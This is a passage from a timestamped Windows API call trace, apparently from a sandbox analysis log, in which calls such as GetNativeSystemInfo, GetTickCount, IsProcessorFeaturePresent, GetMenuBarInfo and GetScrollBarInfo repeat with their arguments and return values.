dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.852] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.852] GetTickCount () returned 0x17fc9 [0026.852] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.852] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.852] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.852] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.852] GetTickCount () returned 0x17fc9 [0026.852] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.852] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.852] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.852] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.853] GetTickCount () returned 0x17fc9 [0026.853] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.853] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.853] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.853] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.853] GetTickCount () returned 0x17fc9 [0026.853] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.853] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.853] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.853] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.853] GetTickCount () returned 0x17fc9 [0026.853] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.853] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.853] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.853] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.853] GetTickCount () returned 0x17fc9 [0026.853] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.853] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.853] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.853] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.853] GetTickCount () returned 0x17fc9 [0026.853] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.853] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.853] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.853] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.853] GetTickCount () returned 0x17fc9 [0026.854] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.854] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.854] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.854] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.854] GetTickCount () returned 0x17fc9 [0026.854] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.854] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.854] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.854] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.854] GetTickCount () returned 0x17fc9 [0026.854] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.854] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.854] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.854] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.854] GetTickCount () returned 0x17fc9 [0026.854] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.854] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.854] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.854] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.854] GetTickCount () returned 0x17fc9 [0026.854] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.854] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.854] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.854] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.855] GetTickCount () returned 0x17fc9 [0026.855] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.855] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.855] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.855] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.855] GetTickCount () returned 0x17fc9 [0026.855] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.855] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.855] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.855] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.855] GetTickCount () returned 0x17fc9 [0026.855] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.855] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.855] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.855] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.855] GetTickCount () returned 0x17fc9 [0026.855] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.855] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.855] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.855] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.855] GetTickCount () returned 0x17fc9 [0026.855] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.855] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.855] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.855] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.856] GetTickCount () returned 0x17fc9 [0026.856] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.856] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.856] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.856] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.856] GetTickCount () returned 0x17fc9 [0026.856] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.856] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.856] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.856] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.856] GetTickCount () returned 0x17fc9 [0026.856] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.856] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.856] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.856] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.856] GetTickCount () returned 0x17fc9 [0026.856] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.856] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.856] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.856] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.856] GetTickCount () returned 0x17fc9 [0026.856] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.856] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.856] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.856] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.856] GetTickCount () returned 0x17fc9 [0026.857] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.857] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.857] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.857] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.857] GetTickCount () returned 0x17fc9 [0026.857] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.857] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.857] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.857] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.857] GetTickCount () returned 0x17fc9 [0026.857] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.857] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.857] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.857] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.857] GetTickCount () returned 0x17fc9 [0026.857] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.857] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.857] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.857] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.857] GetTickCount () returned 0x17fc9 [0026.857] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.857] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.857] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.857] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.857] GetTickCount () returned 0x17fc9 [0026.858] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.858] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.858] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.858] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.858] GetTickCount () returned 0x17fc9 [0026.858] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.858] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.858] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.858] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.858] GetTickCount () returned 0x17fc9 [0026.858] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.858] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.858] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.858] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.858] GetTickCount () returned 0x17fc9 [0026.858] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.858] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.858] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.858] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.858] GetTickCount () returned 0x17fc9 [0026.858] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.858] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.858] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.858] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.859] GetTickCount () returned 0x17fc9 [0026.859] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.859] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.859] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.859] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.859] GetTickCount () returned 0x17fc9 [0026.859] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.859] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.859] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.859] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.859] GetTickCount () returned 0x17fc9 [0026.859] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.859] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.859] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.859] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.859] GetTickCount () returned 0x17fc9 [0026.859] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.859] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.859] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, 